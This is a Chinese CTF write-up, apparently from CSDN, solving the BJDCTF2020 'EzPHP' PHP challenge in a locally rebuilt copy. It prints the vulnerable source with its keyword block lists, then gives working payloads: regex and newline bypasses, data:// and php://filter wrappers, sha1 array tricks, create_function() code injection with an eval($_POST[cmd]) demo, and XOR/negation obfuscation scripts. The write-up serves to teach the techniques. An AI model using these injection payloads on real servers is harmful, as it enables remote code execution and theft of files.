[BJDCTF2020]EzPHP

本文详细解析了一道涉及PHP代码注入的CTF挑战,涵盖了换行绕过、正则匹配绕过、数据伪协议利用、sha1()比较、create_function()注入等多个技术点,还介绍了如何通过extract()、preg_match模式修饰符和data://伪协议来实现代码执行,最终获取flag。文章通过实例展示了多种解题思路和技巧。
摘要由CSDN通过智能技术生成

知识点:creat_function代码注入,异或,require加伪协议,define()+fopen()+fgets(),换行绕过,sha()比较,正则匹配绕过等等

这个题目我在BUU上解题的时候,有个地方总是绕不过去,可能是环境有点问题,所以在本地进行了环境搭建用来复现题目。复现参照Y1ng师傅的wp,Y1ng师傅yyds

解题过程

在f12中,找到提示
GFXEIM3YFZYGQ4A=进行base32解码操作,得到1nD3x.php
在这里插入图片描述打开1nD3x.php后,可以得到源码

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

接下来慢慢对题目代码进行分析

1. $_SERVER[‘QUERY_STRING’]

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

截图下大佬的文章,文章链接:详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别

在这里插入图片描述

这个正则匹配很不友好,过滤了很多关键词,比如passwd这样的参数也被过滤了,因为$_SERVER['QUERY_STRING']不会进行urldecode,而$_GET[]会,所以可以使用url编码绕过

2. %0a换行绕过

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!'); 

正则匹配中,^匹配字符串头部,$匹配字符串尾部,但是又允许debu!==aqua_is_cutepreg_match只匹配一行,可以使用%0a换行污染绕过

?debu=aqua_is_cute%0a

3. 绕过英文字母匹配

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}  

这段代码使用foreach循环遍历$_REQUEST数组,把值赋给value,通过正则匹配进行大小写字母的检验,如果value存在大小写字母,则die()

这个可以使用两个绕过方法:

  1. 一个是$_REQUEST同时接收GET和POST的数据时,会有一个优先级的顺序,用下出题人Y1ng师傅的讲解:文章传送门

在这里插入图片描述
也就是,GET和POST同时传入相同的参数,$_REQUEST会根据php.ini中的设置,优先读取其中一个,二者是竞争关系。所以可以根据这个特性,可同时传"无毒"的同名参数进去,这样$_REQUEST读取到的数据就是没有毛病的,不会die().

payload:

GET传参:debu=aqua_is_cute
POST传参:debu=1
  1. $_REQUEST获取请求参量,不支持数组,接下来我们传的参数是数组,故可以不用管。

4. data伪协议

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); 

这段代码要求读取一个file(文件名可控),但是文件内容是debu_debu_aqua
找不到这样一个文件,又不能上传一个,正则过滤了http也不能远程文件包含,所以可以构造一个$file
使用data://伪协议

file=data://text/plain,debu_debu_aqua

5. 绕过sha1()比较

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
} 

sha1()无法处理数组对象,如果传入两个数组参数,都返回false,就可以实现===;同时传入的参数又不相同
payload:

shana[]=1&passwd[]=2

6. create_function()代码注入

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} 
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
6.1 extract()

本题中传参flag是个数组,flag[code]flag[arg]
在这里插入图片描述

<?php

$flag[code] = "1";
$flag[arg] = "2";

extract($flag);
echo $code."\n";
echo $arg;

结果:

1
2
[Done] exited with code=0 in 0.12 seconds
6.2 creat_function()

在这里插入图片描述

一个正常的creat_function()功能,实现一个简单的加法函数

<?php
$func = create_function('$a,$b','return ($a+$b);');
print($func(1,2));
回显:
3

但是这个东西是有漏洞的,比如

<?php
$func = create_function('$a,$b','return ($a+$b);}eval($_POST[cmd]);//');
print($func(1,2));

那么实际执行的func函数是

<?php
function func($a,$b){
	return $a+$b;
}
eval($_POST[cmd]);//}

其中//是屏蔽后面的}使得没有语法错误
本地实验一下
在这里插入图片描述

6.3 preg_match的模式修饰符
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} 

注意一下preg_match('/^[a-z0-9]*$/isD', $code),creat_function中含有_可以绕过,模式修饰符的含义如下,官方链接:模式修饰符传送门
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

7. 真假flag

还是要分析一下

 include "flag.php";
    $code('', $arg);  

我们包含了flag文件之后,但是看不到flag值,所以需要creat_function来将flag参数值表示出来。但是arg过滤了太多了,像cat,eval等都过滤了,但是可以使用get_defined_vars()来输出所有的变量和值。

payload:

GTE传参
/1nD3x.php?debu=aqua_is_cute
&shana[]=1&passwd[]=2&file=data://text/plain,debu_debu_aqua&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

url编码后

/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function
&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//

POST传参
debu=1&file=1

但是这样得到的是假的flag,但是也提示了真的flag是1flag.php
所以既需要包含1flag.php,也需要进行变量输出

7.1 base64_decode(不适用BJDCTF)

一个思路是require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//代替var_dump(get_defined_vars());//
但是本题code被过滤了,记录一下这个解法

7.2 异或操作(不适用BJDCTF)

arg没有过滤require函数

//Author: Sk1y
import string
import math

a = '1flag.php'  #show_source   phpinfo  
str1=''
str2=''
str3=''
for i in a:
    j = ord(i)#转ascii码
    j = 0xff^j#进行异或操作
    k = hex(j)#进行十六进制转码操作
    str1 = str1 + '%' + k[2] + k[3]
    str3 = str3 + '%ff'
    str2 = str2 + k
#print(str1)
#print(str2)
str3 = str1 + '^' + str3
print(str3)

上面的代码自己瞎写的,有些冗余
贴一下Y1ng师傅的脚本:

<?
//Author: 颖奇L'Amore
//Blog: www.gem-love.com
$flag = "1 f l a g . p h p";
$arr = explode(' ', $flag);

foreach ($arr as $key => $value) {
	echo "%".dechex(ord($value)^0xff);
}
echo "^";
foreach ($arr as $key => $value) {
	echo "%ff";
}

但是本题过滤了^,所以不太适合本题,记录一下解法

7.3 require()+伪协议(预期解)

上面提到的异或,因为过滤了^,所以不能使用。但是可以使用url编码取反操作,脚本和上面的类似,稍微有所不同

//Author: Sk1y
import string
import math

a = 'php://filter/read=convert.base64-encode/resource=1flag.php'  #show_source   phpinfo  
str1=''
str2=''
str3=''
for i in a:
    j = ord(i)#转ascii码
    j = 0xff^j#进行异或操作
    k = hex(j)#进行十六进制转码操作
    str1 = str1 + '%' + k[2] + k[3]
    str3 = str3 + '%ff'
    str2 = str2 + k
#print(str1)
#print(str2)
str3 = str1 + '^' + str3
print(str3)     #异或操作
print('~'+str1)     #取反操作

结果

~%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f

Y1ng师傅的wp那里了解到~之后可以不用加括号,即require(~(%...))require(~%..)作用是一样的,可以得到

%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f));//

在这里插入图片描述
将得到的字符串进行base64解码
在这里插入图片描述
此为自己复现的题目,flag是瞎编的。。

7.4 非预期解1 define()+fopen()+fgets()

涨知识了,shana师傅np

define(aaa,fopen(~(%ce%99%93%9e%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);//

`$file = fopen(“test.txt”,“r”);
“r” (只读方式打开,将文件指针指向文件头)

fgets() 函数从文件指针中读取一行。

feof() 函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。

测试结果
在这里插入图片描述

7.5 非预期解2 rdd师傅和P3rh4ps师傅

rdd师傅的
rdd师傅

%66%6c%61%67[%61%72%67]=;}var_dump(get_defined_vars());var_dump(require(end(pos(get_defined_vars()))));//&rdd=%70%68%70://%66%69%6c%74%65%72/%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65/%72%65%73%6f%75%72%63%65=%31%66%6c%61%67%2e%70%68%70

回显
在这里插入图片描述解码的时候,将int(1)去掉,具体为啥回出现这个int(1)还没想到,,,有懂的大佬可以讲讲

参考链接

  1. ying师傅的文章
  2. 详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别
  3. 模式修饰符传送门

总结:
从这个题目学到了很多东西,学到了好几中操作,加油
(ง •_•)ง

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值